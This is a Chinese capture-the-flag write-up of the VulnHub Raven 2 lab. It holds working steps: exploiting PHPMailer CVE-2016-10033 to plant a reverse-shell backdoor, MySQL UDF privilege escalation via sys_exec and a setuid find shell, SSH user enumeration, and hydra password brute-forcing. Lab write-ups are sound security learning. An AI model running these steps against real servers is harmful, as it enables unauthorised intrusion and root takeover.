作者:ch4nge
时间:2021.1.17
靶场信息:
地址:https://www.vulnhub.com/entry/raven-2,269/
发布日期:2018年11月9日
目标:得到root权限并且找到4个flag
难度:中级
运行:VirtualBox(网络桥接)
描述:Raven 2 is an intermediate level boot2root VM. There are four flags to capture. After multiple breaches, Raven Security has taken extra steps to harden their web server to prevent hackers from getting in. Can you still breach Raven?
前言
本次靶场使用VirtualBox进行搭建运行,通过kali系统进行渗透测试,步骤按照渗透测试的过程进行。这个靶场对我来说比较困难,中间参考了一些师傅的wp。刚开始我忽略了phpmailer漏洞,我想着wordpress有已知版本漏洞 如果要利用需要登录后台,那我就要搞到用户名密码,所以我直接进入了枚举用户名爆破密码的途径。到后面回过头来发现phpmailer漏洞才知道自己这个思路不对,而raven 1靶场是这个思路的、、我也没做过raven1呀 害~在利用phpmailer漏洞的时候也遇到一些小问题,好曲折呀,详情请观看具体内容。文章有不对的地方欢迎各位师傅指正
一、信息搜集
1. 获取靶机ip
使用nmap获取目标ip地址为192.168.31.43,使用grep过滤
nmap -sP 192.168.31.0/24 | grep -B 2 -A 0 "VirtualBox"
2. 扫描开启的端口和服务
nmap -sS -sV -T5 -A -p- 192.168.31.43
获得四个端口信息
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)80/tcp open http Apache httpd 2.4.10 ((Debian))
111/tcp open rpcbind 2-4 (RPC #100000)
36274/tcp open status 1 (RPC #100024)
3.网站信息搜集
3.1 访问ip
点击BLOG的时候跳转到了wordpress的一个站点,点击内容查看的时候报错了
细心一点可以发现这是域名解析的问题,url由我们输入的ip地址变成了raven.local,我们需要做的是配置电脑的hosts文件,使域名解析到192.168.31.43
3.2 添加hosts文件项
具体做法如下,中间使用tab
192.168.31.43 raven.local
现在访问就正常了
3.3 扫描一下http://raven.local/目录
扫描结果出来好多!开心
主要分为三个web信息目录
http://raven.local/vendor/
http://raven.local/wordpress/
http://raven.local/manual/
3.4 http://raven.local/vendor/信息
3.4.1. flag1
http://raven.local/vendor/PATH
/var/www/html/vendor/
flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}md5解密结果是Raven2Flag1
3.4.2. PHPmailer邮件及版本
刚看到这个的时候不知道是什么,就搜了一波 wordpress PHPmailer
http://raven.local/vendor/README.md
http://raven.local/vendor/VERSION
浏览/VERSION页面发现版本号5.2.16,可以得出
PHPmailer 5.2.16
3.5 http://raven.local/wordpress/信息
3.5.1. 使用Wappalyzer信息搜集插件
3.5.2. 获取到信息
CMS:WordPress 4.8.7
web服务器:Apache 2.4.10
数据库:MySQL
3.5.3. 使用dirb扫描目录
dirb http://raven.local/wordpress/
3.5.4. 找到flag3
打开http://raven.local/wordpress/wp-content/uploads/
http://raven.local/wordpress/wp-content/uploads/2018/11/flag3.png
看起来是一串md5加密的字符,在线解密
得到Raven2Flag3
到这里我猜flag2就是md5(Raven2Flag2),flag4就是md5(Raven2Flag4)~嘿嘿
3.6 http://raven.local/manual/信息
3.6.1. Apache版本信息
Apache HTTP Server Version 2.4 Documentation
3.7 搜集到的信息整理
IP: 192.168.31.43
端口: 22 80 111 36274
域名: raven.local
--------------------------------------------------------------------------------------------
路径: http://raven.local/vendor/ http://raven.local/wordpress/ http://raven.local/manual/
--------------------------------------------------------------------------------------------
邮件: PHPmailer 5.2.16
cms: WordPress 4.8.7
数据库: MySQL
web服务器:Apache 2.4.10
--------------------------------------------------------------------------------------------
flag
flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}
flag3{a0f568aa9de277887f37730d71520d9b}
二、漏洞探测
1. 搜索PHPmailer 5.2.16是否存在漏洞
找到了CVE漏洞编号和漏洞介绍,继续查找/vendor下文件中是否有可用信息
在PATH中找到网站路径,可以得到网站绝对路径为/var/www/html
/var/www/html/vendor/
2. CVE-2016-10033远程代码执行漏洞
在网上查找了一下漏洞的利用方式,可以使用metasploit的漏洞模块,也可以直接下载exploit库中的POC进行利用。
漏洞利用需要的信息:
靶机ip、靶机端口、网站绝对路径、邮件发送页面
现在就差邮件发送的页面了,查找一下dirb扫描的结果没有,使用大字典扫描路径,并指定语言为php
dirb http://raven.local/ -X .php /usr/share/wordlists/dirb/big.txt
找到啦http://raven.local/contact.php
打开页面是这样的
说明:网站绝对路径是http://raven.local所在路径,就是/var/www/html,这样生成的xxx.php文件我们才可以通过http://raven.local/xxx.php进行访问运行
靶机ip:192.168.31.43
靶机端口:80
网站绝对路径:/var/www/html
邮件功能页面:/contact.php
这样漏洞利用所需信息就齐全了
3. wordpress网站漏洞探测
在网上查阅关于wordpress4.8.7版本可使用的漏洞,找到了几个,但是需要登录后台之后才能利用,而我连用户名都不知道是什么!
转移视线,记得刚开始的时候我使用nmap扫描到22端口是开启状态,并且得到版本号OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0),所以我搜索此版本存在的漏洞,发现了用户名枚举的漏洞
三、漏洞利用
1. phpmailerCVE-2016-10033远程代码执行漏洞利用
漏洞利用过程说明
一、metasploit
1. 先配置信息,具体信息如下
set RHOSTS 192.168.31.43
set TARGETURI /contact.php
set WEB_ROOT /var/www/html
2. run,运行
运行后会在/var/www/html/路径写入一个xxx.php文件,文件内容的作用是反弹shell,文件名是随机的
3. 把文件名复制到浏览器进行访问
http://raven.local/xxx.php
4. 等待几分钟就能得到shell,www权限。
注:【我的电脑操作可以,但是我不确定是否所有人都可以】如果觉得等待时间长可以按Ctrl+C停止等待,使用sessions查看会话可以看到已经生成的sessions,使用sessions 1进入。
二、exploit POC
1. 使用漏洞POC需要先修改POC脚本中的配置信息,和metasploit差不多
把url换成http://raven.local/contact.php
把反弹shell语句中的ip改为自己kali系统的ip,端口8888
把写入后门的路径修改为/var/www/html
写入后门文件的文件名字母数字组合随便写 2. 监听本地端口
nc -lvp 8888 3. 运行POC脚本后会在/var/www/html/路径写入一个xxx.php文件,文件内容的作用是反弹shell,文件名是自己定义(或默认)的。 4. 访问这个xxx.php文件,使得此文件运行,从而反弹shell到本地。
http://raven.local/xxx.php
1. 反弹shell方法1 使用metasploit利用漏洞
搜索phpmailer发现两个漏洞利用模块
使用info id查看漏洞的适用版本,发现第0个适用(适用于5.2.19及以下版本phpmailer)
(1) 配置参数
set RHOSTS 192.168.31.43
set TARGETURI /contact.php
set WEB_ROOT /var/www/html
(2) run,运行
运行后会在/var/www/html/路径写入一个xxx.php文件,文件内容的作用是反弹shell,文件名是随机的
这里是/vE6wL33Q.php
(3) 把文件名复制到浏览器进行访问
http://raven.local//vE6wL33Q.php
访问之后下面metasploit会有动态显示【连接、删除后门】
(4) 等待一会得到服务器shell,www权限
可以看到当前shell所在位置是/var/www/html/,并且此目录里面没有后门文件(已经自动删除)
内核版本
Linux MiWiFi-R3A-srv 3.16.0-6-amd64 #1 SMP Debian 3.16.57-2 (2018-07-14) x86_64
使用python获得完整性shell
python -c 'import pty; pty.spawn("/bin/bash")'
在/var/www/目录找到flag2.txt
flag2{6a8ed560f0b5358ecf844108048eb337}
使用find查找flag文件
www-data@Raven:/var/www$ find ./ -name "flag*"
找到flag2和flag3,flag3在前面扫描目录的时候已经找到了
没有在网上找到可以利用的内核提权脚本,这里继续进行信息搜集
在/var/www/html/wordpress/wp-config.php中发现mysql数据库密码
root:R@v3nSecurity
登录mysql服务,进行信息搜集
版本:mysql 5.5.60-0+deb8u1
数据库:wordpress
用户名:
michael $P$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0
steven $P$B6X3H3ykawf2oHuPsbjQiih5iJXqad.
查看mysql的运行权限
ps -aux|grep mysql
MySQL以root的身份运行,可以通过mysql提权
2. 反弹shell方法二 使用exploit漏洞库中的POC
searchsploit phpmailer
先使用python的脚本测试,拷贝过来
cp /usr/share/exploitdb/exploits/php/webapps/40974.py ./
先修改POC脚本中的配置信息,和metasploit差不多
把url换成http://raven.local/contact.php
把反弹shell语句中的ip改为自己kali系统的ip,端口8888
把写入后门的路径修改为/var/www/html
写入后门文件的文件名字母数字组合随便写
保存一下就可以啦
然后监听本地端口
nc -lvp 4444
运行POC脚本(python3 40974.py)后会在/var/www/html/路径写入一个ch4nge.php文件,文件内容的作用是反弹shell,文件名是自己定义(或默认)的。
访问这个ch4nge.php文件,使得此文件运行,从而反弹shell到本地。
http://192.168.31.43/ch4nge.php
升级交互式shell
python -c 'import pty; pty.spawn("/bin/bash")'
这里升级可以上下键、tab的shell失败,在执行完fg后不能输入换行执行,,,那就不升级了
四、提权-mysql udf
开搞!
1. 提权操作参考
因为mysql版本>=5.1,所以必须把 UDF 的动态链接库.so文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。
2. 查看插件所在路径
/usr/lib/mysql/plugin/
show variables like '%plugin%';
3. 使用metasploit自带的动态链接库
说明:这里也可以使用exploit中的poc脚本进行生成,脚本链接是,也可以直接在kali里面搜索这个POC
searchsploit 1518
编译生成so文件
gcc -g -shared -Wl,-soname,udf.so -o udf.so 1518.c -lc
-g 生成调试信息
-shared 创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件-Wl选项告诉编译器将后面的参数传递给链接器。
-soname则指定了动态库的soname(简单共享名,Short for shared object name)
soname的关键功能是它提供了兼容性的标准:
当要升级系统中的一个库时,并且新库的soname和老库的soname一样,用旧库链接生成的程序使用新库依然能正常运行。这个特性使得在Linux下,升级使得共享库的程序和定位错误变得十分容易。-o 生成的文件
-lc -l 库 c库名
注意:mysql的动态链接库是加密过的,需要解密才能使用。搜索一下metasploit动态链接库文件在哪里
⚡ root@ch4nge> locate metasploit-framework|grep data/exploits/mysql /usr/share/metasploit-framework/data/exploits/mysql /usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_32.dll /usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_32.so /usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.dll /usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.so
这里要使用lib_mysqludf_sys_64.so
4. 下载动态链接库到靶机
拷贝到桌面,使用python搭建http服务,使用shell下载到靶机
5. 执行sql语句
进入mysql数据库
use mysql;
创建数据表myfunc
create table myfunc(line blob);
插入load_file读取的lib_mysqludf_sys_64.so‘’二进制‘’数据
insert into myfunc values(load_file('/var/www/html/lib_mysqludf_sys_64.so'));
使用dumpfile函数把文件导出
outfile 多行导出,dumpfile一行导出
outfile会有特殊的转换,而dumpfile是原数据导出
select * from myfunc into dumpfile '/usr/lib/mysql/plugin/lib_mysqludf_sys_64.so';
创建自定义函数do_system 类型是integer,别名(soname)文件名字
create function do_system returns integer soname 'lib_mysqludf_sys_64.so';
报错了,提示do_system函数不存在
ERROR 1305 (42000): FUNCTION mysql.do_system does not exist
换一个,使用sys_exec 函数
create function sys_exec returns integer soname 'lib_mysqludf_sys_64.so';
查询一下添加的函数
select * from mysql.func;
利用自定义函数改变find命令权限
select sys_exec('chmod u+s /usr/bin/find');
6. 使用find命令提权
退出数据库,新建一个文件hello,使用find命令查找这个文件,并使用find命令执行shell命令
find执行shell命令后,可以看到已经提升到root权限了,读取flag文件
find hello -exec "/bin/sh" \;
7. flag4
flag4{df2bc5e951d91581467bb9a2a8ff4425}
后面的事
因为之前先发现的openssh用户名枚举漏洞,所以就先利用的这个漏洞,但是只得到一个用户名,后面没有爆破到密码,没有利用漏洞了。这里也写出来漏洞利用的过程和方法
1. openssh漏洞利用
使用OpenSSH的CVE-2018-15473漏洞进行用户名枚举
可以通过expPOC或者Metasploit的scanner/ssh/ssh_enumusers模块枚举到SSH用户
但是首先我们要做的事情是根据网站的内容生成一个用户名字典,我这里使用cewl
cewl http://raven.local/wordpress/ -w dic.txt
方法1. 使用exp POC进行用户名枚举
下载POC文件:https://github.com/Rhynorater/CVE-2018-15473-Exploit
使用环境:python2 or python3
安装依赖库
pip3 install -r requirements.txt
运行命令
python3 sshUsernameEnumExploit.py --port your-ssh-port --userList username.txt your-ip
但是我遇到了错误
Traceback (most recent call last): File "/root/file/CVE-2018-15473-Exploit/sshUsernameEnumExploit.py", line 33, in <module> old_parse_service_accept = paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_SERVICE_ACCEPT] TypeError: 'property' object is not subscriptable
通过搜索发现它是paramiko更新问题
pip3 install --upgrade paramiko==2.4.1
对我来说是有用的
再次执行
python3 sshUsernameEnumExploit.py --port 22 --userList dic.txt 192.168.1.196
得到一个用户名
方法2. 使用Metasploit的scanner/ssh/ssh_enumusers模块进行用户名枚举
显然msf要好用一点,因为在用户名正确的时候会有颜色差异提示~哈哈
得到了用户名
michael
2. 使用hydra爆破michael用户的密码
hydra -l michael -P /usr/share/wordlists/fasttrack.txt -v -t 10 ssh://192.168.1.196:22
换了几个字典都没有爆破出来ssh的密码
总结
这次靶场比较困难,中间走了一些弯路。但是学到的东西也很多,比如ssh用户名枚举,phpmailer漏洞,udf提权,漏洞利用的过程中遇到的一些错误和问题。继续加油!